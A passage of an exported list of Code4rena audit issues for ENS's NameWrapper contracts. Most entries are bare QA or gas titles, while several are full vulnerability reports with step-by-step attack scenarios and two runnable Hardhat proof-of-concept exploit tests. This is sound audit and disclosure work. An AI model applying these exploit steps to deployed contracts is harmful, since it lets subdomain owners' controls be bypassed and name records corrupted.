(Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/249", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/246", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/245", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/244", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/239", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/220", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Trust Anchors cannot be added/removed inactivated post deployment", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "dnssec"], "target": "2022-07-ens-findings", "body": "Trust Anchors cannot be added/removed inactivated post deployment"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "No checks in constructors", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/199", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-ens-findings", "body": "No checks in constructors"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "[PNM-003] The preimage DB (i.e., `NameWrapper.names`) can be maliciously manipulated/corrupted", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/197", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L520 # Vulnerability details ### Description By design, the `NameWrapper.names` is used as a preimage DB so that the client can query the domain name by providing the token ID. The name should be correctly stored. To do so, the `NameWrapper` record the domain's name every time it gets wrapped. And as long as all the parent nodes are recorded in the DB, wrapping a child node will be very efficient by simply querying the parent node's name. However, within a malicious scenario, it is possible that a subdomain can be wrapped without recording its info in the preimage DB. Specifically, when `NameWrappper.setSubnodeOwner` / `NameWrappper.setSubnodeRecord` on a given subdomain, the following code is used to check whether the subdomain is wrapped or not. The preimage DB is only updated when the subdomain is not wrapped (to save gas I beieve). ```solidity= function setSubnodeOwner( bytes32 parentNode, string calldata label, address newOwner, uint32 fuses, uint64 expiry ) public onlyTokenOwner(parentNode) canCallSetSubnodeOwner(parentNode, keccak256(bytes(label))) returns (bytes32 node) { bytes32 labelhash = keccak256(bytes(label)); node = _makeNode(parentNode, labelhash); (, , expiry) = _getDataAndNormaliseExpiry(parentNode, node, expiry); if (ens.owner(node) != address(this)) { ens.setSubnodeOwner(parentNode, labelhash, address(this)); _addLabelAndWrap(parentNode, node, label, newOwner, fuses, expiry); } else { _transferAndBurnFuses(node, newOwner, fuses, expiry); } } ``` However, the problem is that `ens.owner(node) != address(this)` is not sufficient to check whether the node is alreay wrapped. The hacker can manipulate this check by simply invoking `EnsRegistry.setSubnodeOwner` to set the owner as the `NameWrapper` contract without wrapping the node. Consider the following attack scenario. + the hacker registers a 2LD domain, e.g., `base.eth` + he assigns a subdomain for himself, e.g., `sub1.base.eth` + the expiry of `sub1.base.eth` should be set as expired shortly + note that the expiry is for `sub1.base.eth` instead of `base.eth`, so it is safe to make it soonly expired + the hacker waits for expiration and unwraps his `sub1.base.eth` + the hacker invokes `ens.setSubnodeOwner` to set the owner of `sub2.sub1.base.eth` as NameWrapper contract + the hacker re-wraps his `sub1.base.eth` + the hacker invokes `nameWrapper.setSubnodeOwner` for `sub2.sub1.base.eth` + as such, `names[namehash(sub2.sub1.base.eth)]` becomes empty + the hacker invokes `nameWrapper.setSubnodeOwner` for `eth.sub2.sub1.base.eth`. + as such, `names[namehash(eth.sub2.sub1.base.eth)]` becomes `\\x03eth` It is not rated as a High issue since the forged name is not valid, i.e., without the tailed `\\x00` (note that a valid name should be like `\\x03eth\\x00`). However, the preimage BD can still be corrupted due to this issue. ### Notes Discussed with the project member, Jeff Lau. If there is any issue running the attached PoC code, please contact me via `izhuer#0001` discord. ### Suggested Fix When wrapping node `X`, check whether `NameWrapper.names[X]` is empty directly, and update the preimage DB if it is empty. ### PoC / Attack Scenario There is a PoC file named `poc3.js` To run the PoC, put then in `2022-07-ens/test/wrapper` and run `npx hardhat test --grep 'PoC'`. #### poc3.js ```javascript= const packet = require('dns-packet') const { ethers } = require('hardhat') const { utils } = ethers const { use, expect } = require('chai') const { solidity } = require('ethereum-waffle') const n = require('eth-ens-namehash') const provider = ethers.provider const namehash = n.hash const { evm } = require('../test-utils') const { deploy } = require('../test-utils/contracts') const { keccak256 } = require('ethers/lib/utils') use(solidity) const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) const ROOT_NODE = '0x0000000000000000000000000000000000000000000000000000000000000000' const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' function encodeName(name) { return '0x' + packet.name.encode(name).toString('hex') } const CANNOT_UNWRAP = 1 const CANNOT_BURN_FUSES = 2 const CANNOT_TRANSFER = 4 const CANNOT_SET_RESOLVER = 8 const CANNOT_SET_TTL = 16 const CANNOT_CREATE_SUBDOMAIN = 32 const PARENT_CANNOT_CONTROL = 64 const CAN_DO_EVERYTHING = 0 describe('PoC 3', () => { let ENSRegistry let BaseRegistrar let NameWrapper let NameWrapperV let MetaDataservice let signers let dev let victim let hacker let result let MAX_EXPIRY = 2n ** 64n - 1n before(async () => { signers = await ethers.getSigners() dev = await signers[0].getAddress() victim = await signers[1].getAddress() hacker = await signers[2].getAddress() EnsRegistry = await deploy('ENSRegistry') EnsRegistryV = EnsRegistry.connect(signers[1]) EnsRegistryH = EnsRegistry.connect(signers[2]) BaseRegistrar = await deploy( 'BaseRegistrarImplementation', EnsRegistry.address, namehash('eth') ) await BaseRegistrar.addController(dev) await BaseRegistrar.addController(victim) MetaDataservice = await deploy( 'StaticMetadataService', 'https://ens.domains' ) NameWrapper = await deploy( 'NameWrapper', EnsRegistry.address, BaseRegistrar.address, MetaDataservice.address ) NameWrapperV = NameWrapper.connect(signers[1]) NameWrapperH = NameWrapper.connect(signers[2]) // setup .eth await EnsRegistry.setSubnodeOwner( ROOT_NODE, labelhash('eth'), BaseRegistrar.address ) //make sure base registrar is owner of eth TLD expect(await EnsRegistry.owner(namehash('eth'))).to.equal( BaseRegistrar.address ) }) beforeEach(async () => { result = await ethers.provider.send('evm_snapshot') }) afterEach(async () => { await ethers.provider.send('evm_revert', [result]) }) describe('name of a subdomain can be forged', () => { /* * Attack scenario: * 1. the hacker registers a 2LD domain, e.g., base.eth * * 2. he assigns a subdomain for himself, e.g., sub1.base.eth * + the expiry of sub1.base.eth should be set as expired shortly * + note that the expiry is for sub1.base.eth not base.eth, so it is safe to make it soonly expired * * 3. the hacker waits for expiration and unwraps his sub1.base.eth * * 4. the hacker invokes ens.setSubnodeOwner to set the owner of sub2.sub1.base.eth as NameWrapper contract * * 5. the hacker re-wraps his sub1.base.eth * * 6. the hacker invokes nameWrapper.setSubnodeOwner for sub2.sub1.base.eth * + as such, `names[namehash(sub2.sub1.base.eth)]` becomes empty * * 7. the hacker invokes nameWrapper.setSubnodeOwner for eht.sub2.sub1.base.eth. * + as such, `names[namehash(eth.sub2.sub1.base.eth)]` becomes \\03eth */ before(async () => { await BaseRegistrar.addController(NameWrapper.address) await NameWrapper.setController(dev, true) }) it('a passed test denotes a successful attack', async () => { const label = 'base' const labelHash = labelhash(label) const wrappedTokenId = namehash(label + '.eth') // registers a 2LD domain await NameWrapper.registerAndWrapETH2LD( label, hacker, 86400, EMPTY_ADDRESS, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, MAX_EXPIRY ) expect(await BaseRegistrar.ownerOf(labelHash)).to.equal( NameWrapper.address ) expect(await EnsRegistry.owner(wrappedTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker) // signed a submomain for the hacker, with a soon-expired expiry const sub1Label = 'sub1' const sub1LabelHash = labelhash(sub1Label) const sub1Domain = sub1Label + '.' + label + '.eth' // sub1.base.eth const wrappedSub1TokenId = namehash(sub1Domain) const block = await provider.getBlock(await provider.getBlockNumber()) await NameWrapperH.setSubnodeOwner( wrappedTokenId, sub1Label, hacker, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, block.timestamp + 3600 // soonly expired ) expect(await EnsRegistry.owner(wrappedSub1TokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSub1TokenId)).to.equal(hacker) expect( (await NameWrapper.getFuses(wrappedSub1TokenId))[0] ).to.equal(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP) // the hacker unwraps his wrappedSubTokenId await evm.advanceTime(7200) await NameWrapperH.unwrap(wrappedTokenId, sub1LabelHash, hacker) expect(await EnsRegistry.owner(wrappedSub1TokenId)).to.equal(hacker) // the hacker setSubnodeOwner, to set the owner of wrappedSub2TokenId as NameWrapper const sub2Label = 'sub2' const sub2LabelHash = labelhash(sub2Label) const sub2Domain = sub2Label + '.' + sub1Domain // sub2.sub1.base.eth const wrappedSub2TokenId = namehash(sub2Domain) await EnsRegistryH.setSubnodeOwner( wrappedSub1TokenId, sub2LabelHash, NameWrapper.address ) expect(await EnsRegistry.owner(wrappedSub2TokenId)).to.equal( NameWrapper.address ) // the hacker re-wraps the sub1node await EnsRegistryH.setApprovalForAll(NameWrapper.address, true) await NameWrapperH.wrap(encodeName(sub1Domain), hacker, EMPTY_ADDRESS) expect(await NameWrapper.ownerOf(wrappedSub1TokenId)).to.equal(hacker) // the hackers setSubnodeOwner // XXX: till now, the hacker gets sub2Domain with no name in Namewrapper await NameWrapperH.setSubnodeOwner( wrappedSub1TokenId, sub2Label, hacker, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, MAX_EXPIRY ) expect(await NameWrapper.ownerOf(wrappedSub2TokenId)).to.equal(hacker) expect(await NameWrapper.names(wrappedSub2TokenId)).to.equal('0x') // the hacker forge a fake root node const sub3Label = 'eth' const sub3LabelHash = labelhash(sub3Label) const sub3Domain = sub3Label + '.' + sub2Domain // eth.sub2.sub1.base.eth const wrappedSub3TokenId = namehash(sub3Domain) await NameWrapperH.setSubnodeOwner( wrappedSub2TokenId, sub3Label, hacker, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, MAX_EXPIRY ) expect(await NameWrapper.ownerOf(wrappedSub3TokenId)).to.equal(hacker) // /////////////////////////// // // Attack successed! // /////////////////////////// // XXX: names[wrappedSub3TokenId] becomes `\\x03eth` expect(await NameWrapper.names(wrappedSub3TokenId)).to.equal('0x03657468') // \\03eth }) }) }) ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/192", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "[PNM-002] The expiry of the parent node can be smaller than the one of a child node, violating the guarantee policy", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/187", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L504 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L356 # Vulnerability details ### Description By design, the child node's expiry can only be extended up to the parent's current one. Adding these restrictions means that the ENS users only have to look at the name itself's fuses and expiry (without traversing the hierarchy) to understand what guarantees the users have. When a parent node tries to `setSubnodeOwner` / `setSubnodeRecord`, the following code is used to guarantee that the new expiry can only be extended up to the current one. ```solidity= function _getDataAndNormaliseExpiry( bytes32 parentNode, bytes32 node, uint64 expiry ) internal view returns ( address owner, uint32 fuses, uint64 ) { uint64 oldExpiry; (owner, fuses, oldExpiry) = getData(uint256(node)); (, , uint64 maxExpiry) = getData(uint256(parentNode)); expiry = _normaliseExpiry(expiry, oldExpiry, maxExpiry); return (owner, fuses, expiry); } ``` However, the problem shows when + The sub-domain (e.g., `sub1.base.eth`) has its own sub-sub-domain (e.g., `sub2.sub1.base.eth`) + The sub-domain is unwrapped later, and thus its `oldExpiry` becomes zero. + When `base.eth` calls `NameWrapper.setSubnodeOwner`, there is not constraint of `sub1.base.eth`'s expiry, since `oldExpiry == 0`. As a result, the new expiry of `sub1.base.eth` can be arbitrary and smaller than the one of `sub2.sub1.base.eth` The point here is that the `oldExpiry` will be set as 0 when unwrapping the node even it holds child nodes, relaxing the constraint. Specifically, considering the following scenario + The hacker owns a domain (or a 2LD), e.g., `base.eth` + The hacker assigns a sub-domain to himself, e.g., `sub1.base.eth` + The expiry should be as large as possible + Hacker assigns a sub-sub-domain, e.g., `sub2.sub1.base.eth` + The expiry should be as large as possible + The hacker unwraps his sub-domain, i.e., `sub1.base.eth` + The hacker re-wraps his sub-domain via `NameWrapper.setSubnodeOwner` + The expiry can be small than the one of sub2.sub1.base.eth The root cause _seems_ that we should not zero out the expiry when burning a node if the node holds any subnode. ### Notes Discussed with the project member, Jeff Lau. If there is any issue running the attached PoC code, please contact me via `izhuer#0001` discord. ### Suggested Fix + Potential fix 1: auto-burn `CANNOT_UNWRAP` which thus lets `expiry` decide whether a node can be unwrapped. + Potential fix 2: force the parent to have `CANNOT_UNWRAP` burnt if they want to set expiries on a child via `setSubnodeOwner` / `setSubnodeRecord` / `setChildFuses` ### PoC / Attack Scenario There is a PoC file named `poc5.js` To run the PoC, put then in `2022-07-ens/test/wrapper` and run `npx hardhat test --grep 'PoC'`. #### poc5.js ```javascript= const packet = require('dns-packet') const { ethers } = require('hardhat') const { utils } = ethers const { use, expect } = require('chai') const { solidity } = require('ethereum-waffle') const n = require('eth-ens-namehash') const provider = ethers.provider const namehash = n.hash const { deploy } = require('../test-utils/contracts') const { keccak256 } = require('ethers/lib/utils') use(solidity) const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) const ROOT_NODE = '0x0000000000000000000000000000000000000000000000000000000000000000' const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' function encodeName(name) { return '0x' + packet.name.encode(name).toString('hex') } const CANNOT_UNWRAP = 1 const CANNOT_BURN_FUSES = 2 const CANNOT_TRANSFER = 4 const CANNOT_SET_RESOLVER = 8 const CANNOT_SET_TTL = 16 const CANNOT_CREATE_SUBDOMAIN = 32 const PARENT_CANNOT_CONTROL = 64 const CAN_DO_EVERYTHING = 0 describe('PoC 5', () => { let ENSRegistry let BaseRegistrar let NameWrapper let NameWrapperV let MetaDataservice let signers let dev let victim let hacker let result let MAX_EXPIRY = 2n ** 64n - 1n before(async () => { signers = await ethers.getSigners() dev = await signers[0].getAddress() victim = await signers[1].getAddress() hacker = await signers[2].getAddress() EnsRegistry = await deploy('ENSRegistry') EnsRegistryV = EnsRegistry.connect(signers[1]) EnsRegistryH = EnsRegistry.connect(signers[2]) BaseRegistrar = await deploy( 'BaseRegistrarImplementation', EnsRegistry.address, namehash('eth') ) await BaseRegistrar.addController(dev) await BaseRegistrar.addController(victim) MetaDataservice = await deploy( 'StaticMetadataService', 'https://ens.domains' ) NameWrapper = await deploy( 'NameWrapper', EnsRegistry.address, BaseRegistrar.address, MetaDataservice.address ) NameWrapperV = NameWrapper.connect(signers[1]) NameWrapperH = NameWrapper.connect(signers[2]) // setup .eth await EnsRegistry.setSubnodeOwner( ROOT_NODE, labelhash('eth'), BaseRegistrar.address ) //make sure base registrar is owner of eth TLD expect(await EnsRegistry.owner(namehash('eth'))).to.equal( BaseRegistrar.address ) }) beforeEach(async () => { result = await ethers.provider.send('evm_snapshot') }) afterEach(async () => { await ethers.provider.send('evm_revert', [result]) }) describe('subdomain can be re-wrapped', () => { /* * Attack scenario: * + The hacker owns a domain (or a 2LD), e.g., base.eth * + The hacker assigns a sub-domain to himself, e.g., sub1.base.eth * + The expiry should be as large as possible * + Hacker assigns a sub-sub-domain, e.g., sub2.sub1.base.eth * + The expiry should be as large as possible * + The hacker unwraps his sub-domain, i.e., sub1.base.eth * + The hacker re-wraps his sub-domain, i.e., sub1.base.eth * + The expiry can be small than the one of sub2.sub1.base.eth */ before(async () => { await BaseRegistrar.addController(NameWrapper.address) await NameWrapper.setController(dev, true) }) it('a passed test denotes a successful attack', async () => { const label = 'base' const labelHash = labelhash(label) const wrappedTokenId = namehash(label + '.eth') // register a 2LD domain await NameWrapper.registerAndWrapETH2LD( label, hacker, 86400, EMPTY_ADDRESS, CAN_DO_EVERYTHING, MAX_EXPIRY ) const block = await provider.getBlock(await provider.getBlockNumber()) const expiry = block.timestamp + 86400 expect(await BaseRegistrar.ownerOf(labelHash)).to.equal( NameWrapper.address ) expect(await EnsRegistry.owner(wrappedTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedTokenId)).to.equal(hacker) expect( (await NameWrapper.getFuses(wrappedTokenId))[1] ).to.equal(expiry) // assign a submomain const subLabel = 'sub1' const subLabelHash = labelhash(subLabel) const subDomain = subLabel + '.' + label + '.eth' const wrappedSubTokenId = namehash(subDomain) await NameWrapperH.setSubnodeOwner( wrappedTokenId, subLabel, hacker, PARENT_CANNOT_CONTROL, MAX_EXPIRY ) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker) expect( (await NameWrapper.getFuses(wrappedSubTokenId))[1] ).to.equal(expiry) // assign a subsubmomain const subSubLabel = 'sub2' const subSubLabelHash = labelhash(subSubLabel) const subSubDomain = subSubLabel + '.' + subDomain const wrappedSubSubTokenId = namehash(subSubDomain) await NameWrapperH.setSubnodeOwner( wrappedSubTokenId, subSubLabel, hacker, PARENT_CANNOT_CONTROL, MAX_EXPIRY ) expect(await EnsRegistry.owner(wrappedSubSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubSubTokenId)).to.equal(hacker) expect( (await NameWrapper.getFuses(wrappedSubSubTokenId))[1] ).to.equal(expiry) // the hacker unwraps his wrappedSubTokenId await NameWrapperH.unwrap(wrappedTokenId, subLabelHash, hacker) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal(hacker) // the hacker re-wrap his wrappedSubTokenId by NameWrapper.setSubnodeOwner await NameWrapperH.setSubnodeOwner( wrappedTokenId, subLabel, hacker, PARENT_CANNOT_CONTROL, expiry - 7200 ) expect(await EnsRegistry.owner(wrappedSubTokenId)).to.equal( NameWrapper.address ) expect(await NameWrapper.ownerOf(wrappedSubTokenId)).to.equal(hacker) /////////////////////////// // Attack successed! /////////////////////////// // XXX: the expiry of sub1.base.eth is smaller than the one of sub2.sub1.base.eth const sub1_expiry = (await NameWrapper.getFuses(wrappedSubTokenId))[1] const sub2_expiry = (await NameWrapper.getFuses(wrappedSubSubTokenId))[1] console.log('sub1 expiry:', sub1_expiry) console.log('sub2 expiry:', sub2_expiry) expect(sub1_expiry.toNumber()).to.be.lessThan(sub2_expiry.toNumber()) }) }) }) ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/186", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/184", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "ERC1155Fuse: `_transfer` does not revert when sent to the old owner", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/ERC1155Fuse.sol#L274-L284 # Vulnerability details ## Impact MED - the function of the protocol could be impacted The `safeTransferFrom` does not comply with the ERC1155 standard when the token is sent to the old owner. ## Proof of Concept According to the EIP-1155 standard for the `safeTransferFrom`: > MUST revert if balance of holder for token `_id` is lower than the `_value` sent. Let's say `alice` does not hold any token of `tokenId`, and `bob` holds one token of `tokenId`. Then alice tries to send one token of `tokenId` to bob with `safeTranferFrom(alice, bob, tokenId, 1, \"\")`. In this case, even though alice's balance (= 0) is lower than the amount (= 1) sent, the `safeTransferFrom` will not revert. Thus, violating the EIP-1155 standard. It can cause problems for other contracts using this token, since they assume the token was transferred if the `safeTransferFrom` does not revert. However, in the example above, no token was actually transferred. ```solidity // https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/ERC1155Fuse.sol#L274-L284 // wrapper/ERC1155Fuse.sol::_transfer // ERC1155Fuse::safeTransferFrom uses _transfer 274 function _transfer( 275 address from, 276 address to, 277 uint256 id, 278 uint256 amount, 279 bytes memory data 280 ) internal { 281 (address oldOwner, uint32 fuses, uint64 expiry) = getData(id); 282 if (oldOwner == to) { 283 return; 284 } ``` ## Tools Used none ## Recommended Mitigation Steps Revert even if the `to` address already owns the token. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Not checking if `newOwner` is `address(0)`", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "dnssec"], "target": "2022-07-ens-findings", "body": "Not checking if `newOwner` is `address(0)`"}, {"title": "[PNM-001] `PARENT_CANNOT_CONTROL` can be bypassed by maliciously unwrapping parent node", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/173", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-ens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L356 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L295 https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/registry/ENSRegistry.sol#L74 # Vulnerability details ### Description By design, for any subdomain, as long as its `PARENT_CANNOT_CONTROL` fuse is burnt (and does not expire), its parent should not be able to burn its fuses or change its owner. However, this contraint can be bypassed by a parent node maliciously unwrapping itself. As long as the hacker becomes the ENS owner of the parent node, he can leverage `ENSRegistry::setSubnodeOwner` to re-set himself as the ENS owner of the subdomain, and thus re-invoking `NameWrapper.wrap` can rewrite the fuses and wrapper owner of the given subdoamin. Considering the following attack scenario: + Someone owns a domain (or a 2LD), e.g., _poc.eth_ + The domain owner assigns a sub-domain to the hacker, e.g., _hack.poc.eth_ + This sub-domain should not burn `CANNOT_UNWRAP` + This sub-domain can burn `PARENT_CANNOT_CONTROL` + Hacker assigns a sub-sub-domain to a victim user, e.g., _victim.hack.poc.eth_ + The victim user burns arbitrary fuses, including `PARENT_CANNOT_CONTROL` + The hacker should not be able to change the owner and the fuses of `victim.hack.poc.eth` ideally + However, the hacker then unwraps his sub-domain, i.e., _hack.poc.eth_ + The hacker invokes `ENSRegistry::setSubnodeOwner(hacker.poc.eth, victim)` on the sub-sub-domain + He can reassign himself as the owner of the _victim.hack.poc.eth_ + The hacker invokes `NameWrapper.wrap(victim.hacker.poc.eth)` to over-write the fuses and owner of the sub-sub-domain, i.e., _victim.hacker.poc.eth_ 